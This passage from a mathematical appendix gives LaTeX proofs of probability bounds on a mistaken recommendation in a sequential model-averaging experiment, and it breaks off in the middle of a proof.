Thus, the event $ \{ \max_{d \ne M} \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \} $, is included in the event
\begin{align*}
&\cup_{d \ne M} \{ \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \} \cap \{ \bar{\zeta}^{\alpha}_{t}(M) + c_{t}(\gamma_{t},M) ) \geq - 0.5 \Delta \} \cup \{ \bar{\zeta}^{\alpha}_{t}(M) + c_{t}(\gamma_{t},M) ) < - 0.5 \Delta \} \\
= &\cup_{d \ne M} \{ \bar{\zeta}^{\alpha}_{t}(d) > c_{t}(\gamma_{t},d) + 0.5 \Delta \} \cup \{ \bar{\zeta}^{\alpha}_{t}(M) < - (c_{t}(\gamma_{t},M) + 0.5 \Delta ) \}
\end{align*}
By the definition of $c_{t}$, it follows that for any $d \in \{0,...,M\}$,
\begin{align*}
\{ \bar{\zeta}^{\alpha}_{t}(d) > c_{t}(\gamma_{t},d) + 0.5 \Delta \} \subseteq & \{ \bar{\zeta}^{\alpha}_{t}(d) > c_{t}(\gamma_{t},d) + 0.5 \Delta \} \cap \mathcal{J}_{t}(\gamma_{t}, d) \cup \mathcal{J}_{t}(\gamma_{t}, d) ^{C}\\
\subseteq & \left\{ \sum_{o=0}^{L} \alpha^{o}_{t}(d) \frac{ \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ f_{t}(d) + \nu^{o}_{0}(d)/t } > 0.5 \Delta \right\} \cap \mathcal{J}_{t}(\gamma_{t}, d) \cap \mathcal{E}_{t}(\eta,d) \cup \mathcal{J}_{t}(\gamma_{t}, d) ^{C} \cup \mathcal{E}_{t}(\eta, d) ^{C}
\end{align*}
where $ \mathcal{J}_{t}(\gamma, d) : = \{ |\bar{J}_{t}(d)| \leq \gamma \}$ and $\mathcal{E}_{t}(\eta,d) : = \left\{ | f_{t}(d) - e_{t}(d) | \leq \eta \right\}$ for any $t \in \mathbb{N}$ and any $\eta , \gamma > 0$. Similarly,
\begin{align*}
\{ \bar{\zeta}^{\alpha}_{t}(M) > - (c_{t}(\gamma_{t},M) + 0.5 \Delta ) \} \subseteq & \{ \sum_{o=0}^{L} \alpha^{o}_{t}(M) \frac{ (- \bar{\zeta}_{0}^{o}(M) ) \nu_{0}^{o}(M)/t }{ f_{t}(M) + \nu^{o}_{0}(M)/t } > 0.5 \Delta \} \cap \mathcal{J}_{t}(\gamma_{t}, M) \cap \mathcal{E}_{t}(\eta,M) \\
& \cup \mathcal{J}_{t}(\gamma_{t}, M) ^{C} \cup \mathcal{E}_{t}(\eta, M) ^{C}.
\end{align*}
By Lemma \ref{lem:alpha.bound}, under $ \mathcal{J}_{t}(\gamma_{t}, d) \cap \mathcal{E}_{t}(\eta,d) $, it follows that for any $d \in \mathbb{D}$,
\begin{align*}
& \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ f_{t}(d) + \nu^{o}_{0}(d)/t } \alpha^{o}_{t}(d) \\
\leq & 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \leq 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ e_{t}(d) + \eta + \nu^{o}_{0}(d)/t } \underline{\alpha}^{o}(\eta, \gamma_{t} /(e_{t}(d) - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), e_{t}(d) ) \right) \\
& + 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ e_{t}(d) - \eta + \nu^{o}_{0}(d)/t } \overline{\alpha}^{o}( \eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), e_{t}(d) ) \right) \\
\leq & \max_{x \in [\epsilon,1]} \left\{ 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \leq 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x + \eta + \nu^{o}_{0}(d)/t } \underline{\alpha}^{o}(\eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x ) \right) \right. \\
& \left. + 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x - \eta + \nu^{o}_{0}(d)/t } \overline{\alpha}^{o}( \eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x ) \right) \right\} \\
= : & F^{o}_{d} ( t, \gamma_{t}, \eta, \epsilon ).
\end{align*}
Observe that $F^{o}_{d}$ is non-random. Also, it follows that for any $d \in \mathbb{D}$,
\begin{align*}
\{ \bar{\zeta}^{\alpha}_{t}(d) > - (c_{t}(\gamma_{t},d) + 0.5 \Delta ) \} \subseteq \mathcal{U}_{d}(t,\gamma_{t},\eta , \epsilon , \Delta) \cup \mathcal{J}_{t}(\gamma_{t}, d) ^{C} \cup \mathcal{E}_{t}(\eta, d) ^{C}
\end{align*}
where $\mathcal{U}_{d}(t,\gamma_{t},\eta , \epsilon , \Delta) : = \{ \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) > 0.5 \Delta \} $. It thus follows that
\begin{align}\notag
\sum_{t=B}^{T} P_{\pi} \left( \max_{d \ne M} \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \right) \leq & \sum_{t=B}^{T} P_{\pi} \left( \cup_{d} \mathcal{U}_{d}(t,\gamma_{t},\eta , \epsilon , \Delta) \cup \cup_{d} \mathcal{J}_{t}(\gamma_{t},d)^{C} \cup \cup_{d}\mathcal{E}_{t}(\eta, d) ^{C} \right) \\ \notag
\leq & \sum_{t=B}^{T} \{ 1 \left\{ \cup_{d} \mathcal{U}_{d}(t,\gamma_{t},\eta , \epsilon , \Delta) \right\} + P_{\pi} \left( \cup_{d} \mathcal{J}_{t}(\gamma_{t},d)^{C} \right) \\ \label{eqn:PoMM.1}
& + P_{\pi} \left( \cup_{d} \mathcal{E}_{t}(\eta,d)^{C} \right) \}
\end{align}
where the second inequality follows from the union bound.
We now choose $\eta$ as follows. If $F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) \leq 0.5 \Delta$ for all $\eta$, then we choose $\eta^{\ast}( t , \epsilon , \Delta ) = + \infty$, otherwise
\begin{align*}
\eta^{\ast}_{d}(t , \epsilon , \Delta ) : = \max \left\{ \eta \colon \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) \leq 0.50 \Delta ~and~ \eta \leq 0.99 \epsilon \right\}
\end{align*}
If the set is empty, then $ \eta^{\ast}_{d}(t , \epsilon , \Delta ) = 0$.
If $\eta^{\ast}_{d}(t , \epsilon , \Delta ) = 0$, the expression \ref{eqn:PoMM.1} yields the trivial bound of 1. The expression in the proposition also implies an upper bound greater than 1 (since $\eta^{\ast}_{d}(t , \epsilon , \Delta ) = 0$). Thus the proposition is proven. We now study the case if $\eta^{\ast}_{d}(t , \epsilon , \Delta ) > 0$ which is more involved. Under this choice of $\eta$, it follows that
\begin{align*}
\sum_{t=B}^{T} P_{\pi} \left( \max_{d \ne M} \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \right) \leq & \sum_{t=B}^{T} P_{\pi} \left( \cup_{d} \mathcal{J}_{t}(\gamma_{t},d)^{C} \right) \\
& + \sum_{t=B}^{T} P_{\pi} \left( \cup_{d} \mathcal{E}_{t}(\eta^{\ast}_{d}(t , \epsilon , \Delta ),d)^{C} \right).
\end{align*}
By Lemmas \ref{lem:concentration.avgt} and \ref{lem:concentration.freq}, it follows that
\begin{align*}
\sum_{t=B}^{T} P_{\pi} \left( \max_{d \ne M} \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \right)
\leq \sum_{t=B}^{T} \sum_{d=0}^{M} \left( 2 e^{-0.5 t \frac{ \gamma_{t}^{2} }{ \upsilon \sigma(d)^{2} } } + e^{- \frac{t }{\log t} ( \eta^{\ast}(t , \epsilon , \Delta ) )^{2} \mathbf{C}(\epsilon) } \right).
\end{align*}
We conclude the proof by showing some properties of $\eta^{\ast}_{d}$. First, $t \mapsto \eta^{\ast}_{d}(t , \epsilon , \Delta )$ is non-decreasing. To show this, it suffices to show $t \mapsto \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-increasing and $\eta \mapsto \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing. We show the latter below, here we show the former. To do this it suffices to show that $t \mapsto F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing for each $o$. To show this take any $x \in [\epsilon,1]$ and first consider the case $(-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 $; for this case, $ \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x - \eta + \nu^{o}_{0}(d)/t } $ is decreasing in $t$ and positive. By Lemma \ref{lem:ell.properties} and the definition of $\overline{\alpha}^{o}$, $ \overline{\alpha}^{o}$ is increasing in $\gamma_{t}$, moreover, $t \mapsto \gamma_{t}$ is increasing in the relevant domain. Since $ \overline{\alpha}^{o}$ is positive as well, these results imply that $t \mapsto F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing for each $o$ in this case. Now consider the case $(-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \leq 0 $; in this case $ \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x - \eta + \nu^{o}_{0}(d)/t } $ is increasing in $t$ and negative. By Lemma \ref{lem:ell.properties} and the definition of $\underline{\alpha}^{o}$, $ \underline{\alpha}^{o}$ is non-increasing in $\gamma_{t}$. Since $ \overline{\alpha}^{o}$ is positive as well, these results imply that $t \mapsto F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is also non-decreasing for each $o$ in this case and thus the desired result holds.
Second, $\Delta \mapsto \eta^{\ast}_{d}(t , \epsilon , \Delta )$ is non-decreasing. To show this is sufficient to show that $\eta \mapsto \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing; which, in turn, it suffices to show that $\eta \mapsto F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing for each $o$. To show this take any $x \in [\epsilon,1]$ and first consider the case $(-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 $; for this case, $ \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x - \eta + \nu^{o}_{0}(d)/t } $ is increasing in $\eta$ and positive and by Lemma \ref{lem:ell.properties} and the fact that $\eta \mapsto \gamma_{t} /(x - \eta)$ is increasing in $\eta$ (for all $\eta \leq \epsilon \leq x$), $\overline{\alpha}^{o}( \eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x ) $ increasing in $\eta$ and positive. Thus, the product is also increasing and this shows that if $(-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 $, $\eta \mapsto F^{o}(t, \gamma_{t}, \eta , \epsilon )$ is increasing. If $(-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \leq 0 $, $ \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x + \eta + \nu^{o}_{0}(d)/t } $ is increasing in $\eta$ and negative, and $\underline{\alpha}^{o}(\eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x )$ is decreasing in $\eta$ and positive. Thus, the product is increasing in $\eta$ and thus the desired result follows.
Third, $\epsilon \mapsto \eta^{\ast}_{d}(t , \epsilon , \Delta )$ is non-decreasing. To show this, we show that for any $\epsilon \leq \epsilon'$, the set of feasible $\eta$'s indexed by $\epsilon$ is contained in that of $\epsilon'$. From the definition of $F^{o}$ is easy to see that $\epsilon \mapsto F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-increasing; this fact and the fact that $\eta \mapsto \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) $ is non-decreasing imply that $ \{ \eta \colon \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon ) \leq 0.5 \Delta~and~\eta \leq 0.99 \epsilon \}$ is included in $ \{ \eta \colon \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t}, \eta , \epsilon' ) \leq 0.5 \Delta ~and~\eta \leq 0.99 \epsilon' \}$.
\end{proof}
\begin{proof}[Proof of Corollary \ref{cor:robust.PoMM}]
Let $\eta^{oracle}_{d}(t,\epsilon,\Delta)$ defined as in Proposition \ref{pro:stopping.alpha} and let
\begin{align*}
\eta^{oracle}_{d} (t,\epsilon,\Delta) : = \max \left\{ \eta \colon \frac{ |\bar{\zeta}_{0}^{0}(d)| \nu_{0}^{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \leq 0.5 \Delta ~and~\eta \leq 0.99 \epsilon \right\}.
\end{align*}
Essentially, this quantity analogous to $\eta^{\ast}_{d} (t,\gamma_{t} , \epsilon,\Delta)$ but putting all the weight to model $o=0$.
Suppose that (we show this at the end of the proof) given $\Delta$ and $\epsilon$, for any $\delta>0$, there exists a $M_{\delta}$ such that for all $|\bar{\zeta}^{-0}_{0}(d)| \geq M$,
\begin{align*}
| \eta^{oracle}_{d} (t,\epsilon,\Delta) - \eta^{\ast}_{d}(t,\gamma_{t}, \epsilon,\Delta) | \leq \delta
\end{align*}
and $ \eta^{oracle}_{d} (t,\epsilon,\Delta) > 0$ (assuming $\epsilon , \Delta > 0$) for all $t \in \{B,...,T\}$. Then, for any $\delta < \eta^{oracle}_{d}(t,\epsilon,\Delta) $ and for all $|\bar{\zeta}^{-0}_{0}(d)| \geq M_{\delta}$,
\begin{align*}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq & \sum_{d=0}^{M} \sum_{t=B}^{T} ( 2 e^{ -0.5 t \frac{ (\gamma )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( \eta^{oracle}_{d}(t,\epsilon,\Delta) - \delta )^{2} \mathbf{C}(\epsilon) }) \\
\leq & \sum_{d=0}^{M} \sum_{t=B}^{T} ( 2 e^{ -0.5 t \frac{ (\gamma )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( ( \eta^{oracle}_{d}(t,\epsilon,\Delta) )^{2} + \delta (\delta - 2 \epsilon) ) \mathbf{C}(\epsilon) })
\end{align*}
where the second inequality follows because for any $0 \leq a \leq b \leq \epsilon$, $(a-b)^{2} \geq a^{2} + b^{2} - 2ab \geq b^{2} + a (a - 2 \epsilon) $.
Now, for any $\varepsilon > 0$, choose $\delta>0$ such that $e^{\frac{ T }{\log T} \delta (\delta - 2 \epsilon) \mathbf{C}(\epsilon) } \leq 1+\varepsilon$. Then, for all $|\bar{\zeta}^{-0}_{0}(d)| \geq M_{\delta}$,
\begin{align*}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq (1+\varepsilon)\sum_{d=0}^{M} \sum_{t=B}^{T} ( 2 e^{ -0.5 t \frac{ (\gamma )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( \eta^{oracle}_{d}(t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) })
\end{align*}
and thus the desired result is proven.
We now show that for any $\delta>0$, there exists a $M_{\delta}$ such that for all $|\bar{\zeta}^{-0}_{0}(d)| \geq M$,
\begin{align*}
| \eta^{oracle}_{d}(t,\epsilon,\Delta) - \eta^{\ast}_{d}(t,\gamma_{t}, \epsilon,\Delta) | \leq \delta
\end{align*}
$\eta^{oracle}_{d}(t,\epsilon,\Delta) > 0$ (provided $\epsilon, \Delta>0$) for all $t \in \{B,...,T\}$. To do this we invoke the theorem of the Maximum. In particular, we need to show that the correspondence
\begin{align*}
(|\bar{\zeta}_{0}(d)| ) \mapsto C(|\bar{\zeta}_{0}(d)| ) : = \left\{ \eta \leq 0.99 \epsilon \colon \max_{d} \max_{x \in [\epsilon,1]} F ( t, \gamma , \eta , |\bar{\zeta}_{0}(d) | , \nu_{0}(d) , x , \epsilon ) \leq 0.50 \Delta \right\}
\end{align*}
where $F$ defined in the proof of Proposition \ref{pro:stopping.alpha}, is continuous and compact-valued and that $C(|\bar{\zeta}_{0}(d)| )$ converges to $\left\{ \eta \leq 0.99 \epsilon \colon \max_{d} \frac{ |\bar{\zeta}_{0}^{0}(d)| \nu_{0}^{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \leq 0.5 \Delta \right\}$ as $|\bar{\zeta}^{-0}_{0}(d)|$ diverges.
By definition of $F$, we can see that is continuous in its arguments over $\{ \eta \colon \eta \leq 0.99 \epsilon \}$. Applying the Theorem of the Maximum, this implies that $\max_{d} \max_{x \in [\epsilon,1]} F ( t, \gamma , \eta , |\bar{\zeta}_{0}(d) | , \nu_{0}(d) , x , \epsilon )$ is also continuous and thus the corresponce $C$ is continuous too. In addition, $C$ is compact-valued. We now characterize the limit of $C$ as $|\bar{\zeta}^{-0}_{0}(d)|$ diverges. In particular we show that for any $\delta>0$, there exists a $M$ and a $K$ such that for all $|\bar{\zeta}^{-0}_{0}(d)| \geq M$,
\begin{align*}
\sup_{(\eta,\gamma) \in [0,0.99 \epsilon] \times [0,K] } \left | \max_{x \in [\epsilon,1]} F ( t, \gamma , \eta , |\bar{\zeta}_{0}(d) | , \nu_{0}(d) , x, \epsilon ) - \frac{ |\bar{\zeta}_{0}^{0}(d)| \nu_{0}^{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \right| < \delta.
\end{align*}
By Lemma \ref{lem:ell.properties}, $\lim_{|\bar{\zeta}^{-0}_{0}(d)| \rightarrow \infty } \overline{\alpha}^{o} (\eta,\gamma/(\epsilon - \eta),|\bar{\zeta}_{0}(d) | , \nu_{0}(d) ,e_{t}(d) ) = 0$ for any $o > 0$. As $e_{t}(d) \in [\epsilon,1]$, the quantities $\overline{\sigma}^{2}_{t}$ and $\underline{\sigma}^{2}_{t}$ that define $\overline{\alpha}$ are uniformly bounded and uniformly bounded away from 0 as functions of $e_{t}(d)$. Thus, by construction of $\overline{\alpha}^{o}_{t}$, the convergence above also holds uniformly over $e_{t}(d) \in [\epsilon,1]$, i.e.,
$\lim_{|\bar{\zeta}^{-0}_{0}(d)| \rightarrow \infty } \max_{x \in [\epsilon,1]} \overline{\alpha}^{o} (\eta,\gamma/(\epsilon - \eta),|\bar{\zeta}_{0}(d) | , \nu_{0}(d) , x ) = 0$. By construction of $\overline{\alpha}^{o}$, it is easy to see that the convergence is exponentially fast on $|\bar{\zeta}^{o}_{0}(d)|$ and thus
\begin{align*}
\lim_{|\bar{\zeta}^{-0}_{0}(d)| \rightarrow \infty } \max_{x \in [\epsilon,1]} \overline{\alpha}^{o} (\eta,\gamma/(\epsilon - \eta),|\bar{\zeta}_{0}(d) | , \nu_{0}(d) ,x ) \frac{ |\bar{\zeta}_{0}^{o}(d)| \nu_{0}^{o}(d)/t }{ \epsilon - \eta + \nu^{o}_{0}(d)/t } = 0
\end{align*}
for every $o > 0$, and
\begin{align*}
\lim_{|\bar{\zeta}^{-0}_{0}(d)| \rightarrow \infty } \max_{x \in [\epsilon,1]} \overline{\alpha}^{0} (\eta,\gamma/(\epsilon - \eta),|\bar{\zeta}_{0}(d) | , \nu_{0}(d) ,x ) = 1.
\end{align*}
It is easy to see that by definition of $\overline{\alpha}^{o}$ convergence holds uniformly over $\gamma \in [0,K]$ for $ K < \infty$. In addition, as $\eta \leq 0.99 \epsilon$ and $e_{t}(d) \geq \epsilon$, it follows that $\overline{ \sigma}$ and $\underline{\sigma}$ in the definition of $\overline{\alpha}^{o}$ are uniformly bounded as functions of $\eta$ and thus the convergence also holds uniformly over $\eta \in [0,0.99 \epsilon]$. Therefore,
\begin{align*}
\sup_{(\eta,\gamma) \in [0,0.99 \epsilon] \times [0,K] } \left | \max_{x \in [\epsilon,1]} F ( t, \gamma , \eta , |\bar{\zeta}_{0}(d) | , \nu_{0}(d) , x, \epsilon ) - \frac{ |\bar{\zeta}_{0}^{0}(d)| \nu_{0}^{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \right| < \delta.
\end{align*}
Therefore, $C(|\bar{\zeta}_{0}(d)|)$ converges to $\left\{ \eta \leq 0.99 \epsilon \colon \max_{d} \frac{ |\bar{\zeta}_{0}^{0}(d)| \nu_{0}^{0}(d)/t }{ \epsilon - \eta + \nu^{0}_{0}(d)/t } \leq 0.45 \Delta \right\}$ as $|\bar{\zeta}^{-0}_{0}(d)|$ diverges.
Hence, by the Theorem of the maximum,
\begin{align*}
\lim_{|\bar{\zeta}^{-0}_{0}(d)| \rightarrow \infty } | \eta^{oracle}_{d}(t,\epsilon,\Delta) - \eta^{\ast}_{d}(t,\gamma_{t},\epsilon,\Delta) | =0.
\end{align*}
Since $t \in \{1,...,T\}$ and $T < \infty$, the convergence is uniform in $t$. Finally, $ \frac{ |\bar{\zeta}_{0}^{o}(d)| \nu_{0}^{o}(d) /t }{ \epsilon + \nu^{o}_{0}(d) /t } < 0.5 \Delta$ by assumption; this implies that $\eta^{oracle}_{d}(t,\epsilon,\Delta) > 0$ for any $t \in \{B,...,T\}$ because $\eta^{0}$ is chosen to be maximal.
\end{proof}
\begin{proof}[Proof of Corollary \ref{cor:PoMM.beta}]
We do the proof for where the expression for $\gamma $ holds with equality. We do this because if the desired bound holds for this case, it will hold for any $\gamma$ that is greater. By Proposition \ref{pro:stopping.alpha}
\begin{align}
P_{\pi} \left( \max_{d\ne M} \{ \zeta^{\alpha}_{\tau}(d) - \zeta^{\alpha}_{\tau}(M) \} > 0 \right) \leq \sum_{d=0}^{M} \sum_{t=B}^{T} ( 2 e^{ -0.5 t \frac{ (\gamma )^{2} } { \upsilon \sigma(d)^{2}} } + e^{ - \frac{ t }{\log t} ( \eta^{\ast}_{d} (t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }).
\end{align}
By our choice of $\gamma$ and the fact that $\log B \geq \max_{d} 2 \upsilon \sigma(d)^{2}$, the first term in the RHS is less or equal than $2 t^{-A} $. We now need to check that for all $t \geq B(\beta)$, $e^{ - \frac{ t }{\log t} ( \eta^{\ast}_{d} (t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) } \leq t^{-A} \iff \frac{ ( \eta^{\ast}_{d} (t,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }{A } \geq \frac{ (\log t)^{2}}{t} $. Since $t \mapsto \frac{( \log t )^{2} }{t}$ is decreasing (as $\log B \geq 2$) and $ \eta^{\ast}_{d} (t,\epsilon,\Delta) \geq \eta^{\ast}(1,\epsilon,\Delta)$, it thus suffices to check that $ \frac{ ( \eta^{\ast}_{d} (1,\epsilon,\Delta) )^{2} \mathbf{C}(\epsilon) }{A } \geq \frac{ (\log B )^{2}}{ B } $ which holds by assumption.
\end{proof}
The next proposition provides bounds on the probability of making a mistake in any instance $t$, and how it depends on the prior of the model and the parameter $\epsilon$. These results are of particular interest for assessing the accuracy of the PM's recommendation once the experiment is over.
\begin{proposition}\label{pro:PoMM.o}
For any $\varepsilon \geq 0 $ and any $t \geq e^{ \max\{ 4 \max\{ \Gamma^{-1}_{+}(0.5(\varepsilon + \Delta)) , \Gamma^{-1}_{-}(0.5(\varepsilon + \Delta)) , 0\} \mathbf{B}(\epsilon) , 2 \upsilon \max_{d} \sigma(d)^{2} \} } $,\footnote{$\Gamma_{+}$ and $\Gamma_{-}$ are defined in Lemma \ref{lem:UpperBound.zetabar.alpha}.}
\begin{align*}
& P_{\pi} \left( \exists d \ne M \colon \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) > \varepsilon \right) \\
\leq & 3 \sum_{d = 0}^{M-1} \left( e^{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}( 0.5( \varepsilon + \Delta) , \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ) , 0 \} )^{2} \mathbf{C}(\epsilon) } + 3 e^{ - \frac{t}{ \log t } (\max\{ \Gamma^{-1}(0.5(\varepsilon + \Delta) , - \bar{\zeta}_{0}(M) , \nu^{o}_{0}(M) , e_{t}(M) ) , 0 \} )^{2} \mathbf{C}(\epsilon) } \right) .
\end{align*}
\end{proposition}
\begin{proof}[ Proof of Proposition \ref{pro:PoMM.o}]
For any $\gamma \geq 0$ and any $a \in \{0,...,M\}$, let
\begin{align*}
S(t,a,\gamma) : = \left\{ | \bar{J}_{t}(a) | \leq \gamma \right\},
\end{align*}
and
\begin{align*}
R(t,a,\gamma) : = \left\{ | f_{t}(a) - E \left[ f_{t}(a) \right] | \leq \gamma \right\},
\end{align*}
where $E \left[ f_{t}(a) \right] = t^{-1} \sum_{s=1}^{t} E[\delta(Z_{s})(a)] = e_{t}(a)$ and the expectation is constructed using the initial probability $\pi$ and the transition probability $Q$.
Observe that
\begin{align*}
P_{\pi} \left( \exists d \ne M \colon \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) > \varepsilon \right) = & P_{\pi} \left( \exists d \ne M \colon \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) > \varepsilon + \Delta \right) \\
\leq & P_{\pi} \left( \exists d \ne M \colon \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) > \varepsilon + \Delta \cap \bar{\zeta}^{\alpha}_{t}(M) \geq - 0.5 ( \varepsilon + \Delta ) \right) \\
& + P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(M) < - 0.5 ( \varepsilon + \Delta ) \right)\\
\leq & P_{\pi} \left( \exists d \ne M \colon \bar{\zeta}^{\alpha}_{t}(d) > 0.5 ( \varepsilon + \Delta ) \right) + P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(M) < - 0.5 ( \varepsilon + \Delta ) \right) \\
\leq & \sum_{d=0}^{M-1} P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(d) > 0.5 ( \varepsilon + \Delta ) \right) + P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(M) < - 0.5 ( \varepsilon + \Delta ) \right) \\
\leq & \sum_{d=0}^{M-1} P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(d) > 0.5 ( \varepsilon + \Delta ) \mid R(t,d,\gamma) \cap S(t,d,\gamma) \right) \\
& + \sum_{d=0}^{M-1} \{ P_{\pi} \left( R(t,d,\gamma)^{C} \right) + P_{\pi} \left( S(t,d,\gamma)^{C} \right) \} \\
& + P_{\pi} \left( - \bar{\zeta}^{\alpha}_{t}(M) > 0.5 ( \varepsilon + \Delta ) \mid R(t,M,\eta) \cap S(t,M,\eta) \right) \\
& + \{ P_{\pi} \left( R(t,M,\eta)^{C} \right) + P_{\pi} \left( S(t,M,\eta)^{C} \right)
\end{align*}
where $ \bar{\zeta}^{\alpha}_{t}(d) : = \zeta^{\alpha}_{t}(d) - \theta(d)$.
By Lemmas \ref{lem:concentration.avgt} and \ref{lem:concentration.freq}, and the fact that $t \geq \exp 2 \upsilon \sigma(d)^{2}$ and $t \geq \exp 4 \gamma \mathbf{B}(\epsilon) $,
\begin{align*}
P_{\pi} \left( S(t,d,\gamma)^{C} \right) + P_{\pi} \left( R(t,d,\gamma)^{C} \right) \leq 3 \exp \left\{ - \frac{t}{ \log t } \gamma^{2} \mathbf{C}(\epsilon) \right\}.
\end{align*}
By Lemma \ref{lem:UpperBound.zetabar.alpha}(2), under the sets $R(t,d,\gamma) \cap S(t,d,\gamma)$,
\begin{align*}
\bar{\zeta}^{\alpha}_{t}(d) \leq \Gamma_{+}(\gamma) : = \Gamma( \gamma , \bar{\zeta}_{0}(d) , \nu_{0}(d) , e_{t}(d) ).
\end{align*}
Hence, choosing $\gamma = \max\{ \Gamma^{-1}_{+}(0.5(\varepsilon + \Delta)) , 0\} $, it follows that, if $\gamma > 0$, then
$$ P_{\pi} \left( \bar{\zeta}^{\alpha}_{t}(d) > 0.5 ( \varepsilon + \Delta) \mid R(t,d,\gamma) \cap S(t,d,\gamma) \right) = 0$$
(if $\gamma = 0$ then the bound is trivial as probabilities are bounded by $1$). Thus,
\begin{align*}
